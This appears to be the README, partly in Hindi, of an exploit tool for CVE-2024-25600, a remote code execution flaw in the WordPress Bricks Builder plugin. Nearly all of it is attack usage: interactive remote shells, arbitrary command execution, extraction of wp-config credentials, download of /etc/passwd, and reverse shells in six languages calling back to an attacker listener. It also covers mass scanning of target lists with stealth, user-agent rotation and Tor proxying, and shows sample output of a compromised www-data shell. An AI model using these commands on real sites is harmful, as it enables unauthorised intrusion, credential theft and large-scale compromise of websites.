git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2024-25600.py --help

requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0          # वैकल्पिक — SOCKS5 प्रॉक्सी समर्थन

# इंटरैक्टिव शेल
python3 cve-2024-25600.py -u https://target.example

# एकल कमांड
python3 cve-2024-25600.py -u https://target.example --cmd "id"

# बड़े पैमाने पर स्कैन
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json

# संस्करण पता लगाना
python3 cve-2024-25600.py -u https://target.example --detect-version

# Burp प्रॉक्सी के माध्यम से
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

python3 cve-2024-25600.py --help

python3 cve-2024-25600.py -u https://target.example

python3 cve-2024-25600.py -u https://target.example --cmd "whoami"

python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output

# डिफ़ॉल्ट PHP अपवाद-आधारित पेलोड
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php

# system() आधारित पेलोड
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system

python3 cve-2024-25600.py -u https://target.example --detect-version

python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"

python3 cve-2024-25600.py -u https://target.example --extract-wp-config

# टर्मिनल 1 — श्रोता
nc -lvnp 4444

# टर्मिनल 2 — bash रिवर्स शेल
python3 cve-2024-25600.py -u https://target.example \
  --reverse-shell bash \
  --lhost 10.0.0.5 \
  --lport 4444

python3 cve-2024-25600.py -u https://target.example --reverse-shell bash   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc     --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php    --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby   --lhost 10.0.0.5 --lport 4444

python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"

# targets.txt — प्रति पंक्ति एक URL
python3 cve-2024-25600.py -f targets.txt

python3 cve-2024-25600.py -f targets.txt \
  -t 15 \
  --delay 0.5 \
  --stealth \
  -o vulnerable.json

python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt

python3 cve-2024-25600.py -f targets.txt -q -o results.json

# दोनों एंडपॉइंट (डिफ़ॉल्ट)
python3 cve-2024-25600.py -u https://target.example --endpoint both

# केवल /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json

# केवल /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route

python3 cve-2024-25600.py -u https://target.example \
  --stealth \
  --delay 1.0 \
  --max-retries 5 \
  --timeout 20

# कस्टम UA
python3 cve-2024-25600.py -u https://target.example \
  --user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"

# यादृच्छिक UA रोटेशन अक्षम करें
python3 cve-2024-25600.py -u https://target.example --no-random-ua

# HTTP प्रॉक्सी (जैसे Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

# SOCKS5 प्रॉक्सी
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050

# SOCKS5h (प्रॉक्सी / Tor के माध्यम से DNS)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050

# SSL प्रमाणपत्र सत्यापन सक्षम करें (डिफ़ॉल्ट रूप से अक्षम)
python3 cve-2024-25600.py -u https://target.example --verify-ssl

# स्कैन परिणाम JSON के रूप में सहेजें
python3 cve-2024-25600.py -f targets.txt -o results.json

# स्कैन परिणाम TXT के रूप में सहेजें
python3 cve-2024-25600.py -f targets.txt -o results.txt

# कस्टम एप्लिकेशन लॉग फ़ाइल
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v

# निष्पादित कमांड लॉग करें
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"

# वर्बोज़ / डीबग लॉगिंग
python3 cve-2024-25600.py -u https://target.example -v

# शांत मोड (न्यूनतम आउटपुट)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"

python3 cve-2024-25600.py -f targets.txt \
  -t 25 \
  --timeout 20 \
  --delay 0.2 \
  --max-retries 5 \
  -o results.json

python3 cve-2024-25600.py -u https://target.example \
  --detect-version \
  --extract-wp-config \
  --stealth \
  --delay 0.8 \
  --timeout 20 \
  --max-retries 5 \
  --endpoint both \
  --proxy http://127.0.0.1:8080 \
  --log-file bricks_assessment.log \
  --command-log commands.log \
  -v

Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit

Shell> whoami
www-data

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell> help

[*] Testing: https://target.example
[+] https://target.example is vulnerable!
[+] Interactive shell opened successfully

{
  "timestamp": "2026-07-17T01:30:00",
  "version": "1.0.0",
  "config": {
    "threads": 10,
    "timeout": 15,
    "delay": 0.5
  },
  "stats": {
    "processed": 100,
    "vulnerable": 3,
    "failed": 97
  },
  "vulnerable_targets": [
    {
      "url": "https://target.example",
      "timestamp": "2026-07-17T01:31:12"
    }
  ]
}

# वर्बोज़ एकल-लक्ष्य जाँच
python3 cve-2024-25600.py -u https://target.example --detect-version -v

# अनुरोध निरीक्षण के लिए Burp के माध्यम से
python3 cve-2024-25600.py -u https://target.example \
  --proxy http://127.0.0.1:8080 -v --cmd "id"

# किसी विशिष्ट एंडपॉइंट को प्राथमिकता दें
python3 cve-2024-25600.py -u https://target.example --endpoint json -v

exploit/
├── cve-2024-25600.py     # BricksRCE एक्सप्लॉइटर (v1.0)
├── requirements.txt      # Python निर्भरताएँ
├── README.md             # यह फ़ाइल
├── bricks_rce.log        # रनटाइम लॉग (उत्पन्न)
└── venv/                 # स्थानीय वर्चुअलएनवी (वैकल्पिक, कमिट नहीं)

MIT लाइसेंस

कॉपीराइट (c) 2024–2026 सुदीपा वानिगरथना

इसके द्वारा, किसी भी व्यक्ति को इस सॉफ़्टवेयर और संबंधित दस्तावेज़ फ़ाइलों ("सॉफ़्टवेयर") की एक प्रति प्राप्त करने पर, बिना किसी प्रतिबंध के सॉफ़्टवेयर में कार्य करने की अनुमति निःशुल्क प्रदान की जाती है, जिसमें बिना किसी सीमा के, सॉफ़्टवेयर का उपयोग, प्रतिलिपि, संशोधन, विलय, प्रकाशन, वितरण, उप-लाइसेंस, और/या बेचने के अधिकार, और उन व्यक्तियों को ऐसा करने की अनुमति देना शामिल है जिन्हें सॉफ़्टवेयर प्रदान किया गया है, निम्नलिखित शर्तों के अधीन:

उपरोक्त कॉपीराइट नोटिस और यह अनुमति नोटिस सॉफ़्टवेयर की सभी प्रतियों या महत्वपूर्ण भागों में शामिल किया जाएगा।

सॉफ़्टवेयर "जैसा है" प्रदान किया जाता है, बिना किसी प्रकार की वारंटी के, स्पष्ट या निहित, जिसमें व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और उल्लंघन की गारंटी शामिल है लेकिन इन्हीं तक सीमित नहीं है। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य देयता के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध, अपकृत्य या किसी अन्य सिद्धांत पर आधारित हो, जो सॉफ़्टवेयर या सॉफ़्टवेयर के उपयोग या अन्य लेन-देन से उत्पन्न होता है।